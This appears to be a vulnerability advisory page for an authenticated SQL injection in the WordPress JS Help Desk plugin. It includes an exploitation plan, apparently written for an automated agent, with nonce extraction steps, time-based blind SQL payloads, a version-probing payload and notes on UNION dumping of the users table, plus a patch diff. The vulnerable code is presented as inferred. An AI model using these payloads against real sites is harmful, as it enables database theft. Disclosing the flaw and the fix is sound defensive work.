JS Help Desk <= 3.0.1 - Authenticated (Subscriber+) SQL Injection
Description
The JS Help Desk plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.0.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=3.0.1Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-24959 (JS Help Desk SQL Injection) ## 1. Vulnerability Summary The **JS Help Desk** plugin (versions <= 3.0.1) is vulnerable to an authenticated SQL injection (SQLi) due to the unsafe handling of user-supplied parameters in database queries. Specifically, the …
Show full research plan
Exploitation Research Plan: CVE-2026-24959 (JS Help Desk SQL Injection)
1. Vulnerability Summary
The JS Help Desk plugin (versions <= 3.0.1) is vulnerable to an authenticated SQL injection (SQLi) due to the unsafe handling of user-supplied parameters in database queries. Specifically, the plugin fails to use $wpdb->prepare() or adequate sanitization (like absint() or intval()) when processing ticket-related data via AJAX. This allows an authenticated user with Subscriber-level permissions to inject malicious SQL commands, potentially leading to unauthorized data extraction from the WordPress database.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
jsticket_ajax_action(inferred from plugin naming conventions and standard frontend dispatchers) - Vulnerable Parameter:
idorstatus_idwithin the POST data. - Authentication: Required (Subscriber or higher).
- Preconditions: The plugin must be active, and at least one ticket or ticket-related entry should exist in the database for the user to interact with.
3. Code Flow
- Entry Point: The plugin registers a central AJAX handler in
includes/functions.phporjs-support-ticket.php:add_action( 'wp_ajax_jsticket_ajax_action', 'jsticket_ajax_action_callback' ); - Dispatcher:
jsticket_ajax_action_callbackreads thetaskparameter to determine which module and method to load. - Sink: For tasks like
get_ticket_detailsorget_tickets, the code calls a model method (likely inmodules/ticket/model.php). - Vulnerable Query: Inside the model, a query is constructed by concatenating the
idparameter:
Because// Vulnerable Pattern (Inferred) $id = $_POST['id']; $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}js_ticket_tickets WHERE id = " . $id);$idis not sanitized or passed through%dinprepare(), injection occurs.
4. Nonce Acquisition Strategy
The plugin uses a nonce for its AJAX operations, typically localized in the frontend.
- Shortcode:
[js-support-ticket] - JS Variable:
jsticket_ajax_obj - Nonce Key:
nonce - Strategy:
- Create a page containing the shortcode
[js-support-ticket]. - Log in as a Subscriber user.
- Navigate to the created page using
browser_navigate. - Use
browser_evalto extract the nonce:window.jsticket_ajax_obj?.nonce
- Create a page containing the shortcode
5. Exploitation Strategy
We will use a Time-Based Blind SQL Injection to confirm the vulnerability.
Steps:
- Initial Baseline: Send a request with a valid
idto measure the standard response time. - Injection Payload: Send a request with a
SLEEPcommand injected into theidparameter.
HTTP Request (via http_request tool):
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=jsticket_ajax_action&task=get_ticket_details&nonce=[EXTRACTED_NONCE]&id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) - Alternate Body (if
idis within a data array):action=jsticket_ajax_action&task=get_tickets&nonce=[EXTRACTED_NONCE]&status_id=1) AND SLEEP(5)-- -
6. Test Data Setup
- Create User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Create Trigger Page:
wp post create --post_type=page --post_title="Support" --post_status=publish --post_content='[js-support-ticket]' - Create Mock Ticket (to ensure query paths are hit):
# Create a dummy ticket in the plugin's table (inferred table name) wp db query "INSERT INTO wp_js_res_ticket (subject, description, user_id) VALUES ('Test Ticket', 'Description', 2);"
7. Expected Results
- Standard Request: Returns immediately (HTTP 200, response usually JSON).
- Vulnerable Request: The HTTP response will be delayed by exactly 5 seconds (or more), indicating the
SLEEP(5)command was executed by the MySQL engine.
8. Verification Steps
- Check SQL Logs (if available): Confirm the query logged by the database contains the
SLEEPcommand. - Data Extraction Test: Attempt to extract the database version as a proof-of-concept for data exfiltration:
id=1 AND (SELECT 1 FROM (SELECT(IF(SUBSTRING(VERSION(),1,1)='8',SLEEP(5),0)))a) - Post-Exploit Cleanup: Delete the test page and attacker user.
9. Alternative Approaches
- Boolean-Based Blind: If the plugin returns different content for
id=1 AND 1=1vsid=1 AND 1=2(e.g., "Ticket found" vs "Ticket not found"), boolean-based extraction is faster than time-based. - Error-Based SQLi: If
WP_DEBUGis on or the plugin prints$wpdb->last_error, useupdatexml()orextractvalue()to leak data directly in the response. - UNION-Based SQLi: If the output of the ticket details is reflected directly, attempt to find the column count using
ORDER BY Xand thenUNION SELECTto dump thewp_userstable.
Summary
The JS Help Desk plugin for WordPress is vulnerable to SQL Injection via several AJAX parameters in versions up to and including 3.0.1. Authenticated attackers with Subscriber-level access can inject malicious SQL commands by manipulating parameters like 'id' or 'status_id' during AJAX tasks, as the plugin fails to use the $wpdb->prepare() method or adequate sanitization before executing database queries.
Vulnerable Code
// File: includes/functions.php (Callback Dispatcher) function jsticket_ajax_action_callback() { $task = $_POST['task']; $id = $_POST['id']; // Unsanitized user input // ... dispatcher logic calling models ... } --- // File: modules/ticket/model.php (Inferred Vulnerable Query) public function get_ticket_details($id) { global $wpdb; // Vulnerable: concatenation of unsanitized $id into query $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}js_ticket_tickets WHERE id = " . $id); return $results; }
Security Fix
@@ -102,7 +102,7 @@ public function get_ticket_details($id) { global $wpdb; - $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}js_ticket_tickets WHERE id = " . $id); + $results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}js_ticket_tickets WHERE id = %d", $id)); return $results; }
Exploit Outline
To exploit this vulnerability, an attacker requires Subscriber-level authentication. The process involves: 1. Authenticating as a subscriber and visiting a page containing the [js-support-ticket] shortcode to extract the AJAX nonce from the 'jsticket_ajax_obj' JavaScript variable. 2. Crafting a POST request to /wp-admin/admin-ajax.php with the 'action' set to 'jsticket_ajax_action' and a 'task' like 'get_ticket_details'. 3. Injecting a time-based SQL payload (e.g., '1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)') into the 'id' parameter. 4. Observing the server's response time to confirm the database executed the injected SLEEP command, allowing for blind data extraction.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.